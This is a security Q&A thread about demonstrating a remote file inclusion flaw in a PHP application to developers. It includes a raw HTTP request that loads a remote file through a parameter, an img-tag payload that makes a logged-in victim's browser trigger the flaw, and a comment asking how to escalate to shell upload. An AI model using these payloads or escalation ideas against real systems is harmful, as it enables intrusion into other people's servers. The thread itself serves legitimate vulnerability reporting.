4

I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application.

Scenario:

In my web application RFI works only when the user's session was present. I need to demonstrate the RFI to developers.

Sample demonstration:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

The response contains the uploaded file output.

Problem :

Now through the above vulnerability I was able to prove the RFI was present in the web application, but the problem is my developers are asking for the attack scenario which will help them to evaluate my bug.

What i tried :

I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver.

However, the main problem I faced during the test was I can't exploit if the user is not authenticated.

How else can I demonstrate the RFI vulnerability in my application?

  • 2
    Point them to the OWASP site on RFI. Your job is to convince them RFI is an issue. You already proved it's vulnerable. – d1str0 Mar 8 '16 at 7:47
  • How to demonstrate RFI or how to exploit RFI are good questions, but I would remove your questions about the session. My guess is that the vulnerability is behind a login? So of course it wouldn't work without a valid session (it's still a vulnerability, and must be fixed). – tim Mar 8 '16 at 9:58
  • You could stage a scenario where a user is logged into the application and is a victim of a XSS attack and the user's browser is then commanded to execute the RFI attack. It kind of depends on what your threat model is, but this could be a viable scenario. – Dave Mar 8 '16 at 15:29
  • As this is pretty basic and your devs are unsure of its meaning, you might look to get them some security training in the future. – Neil Smithline Mar 9 '16 at 4:38
  • @NeilSmithline is it possible to turn this vulnerablity with a shell upload,at present whenever i upload script,it just reflects the script,it doesnt execute the script,anything i need to add for executing php at request – BlueBerry - Vignesh4303 Mar 9 '16 at 4:42
2

If a logged-in user views a webpage (anywhere on the internet!) with the following HTML anywhere in it, then the vulnerability will be triggered. An attacker could send a link to a page containing this HTML to someone they know is logged in.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">
1

Firstly, congrats on finding a vulnerability. It's always a nice feeling, especially when you have something like RFI.

From what I understand, you cant exploit this RFI if there is no user session going on. In that case, have your developers take a look at session hijacking!

According to OWASP:

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

It seems to me, that if you combine these two, a malicious attacker would not need the actual credentials for a successful attack.

Maybe a small demonstration of this type will suffice. Let me know if you have any more questions!

Good luck!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.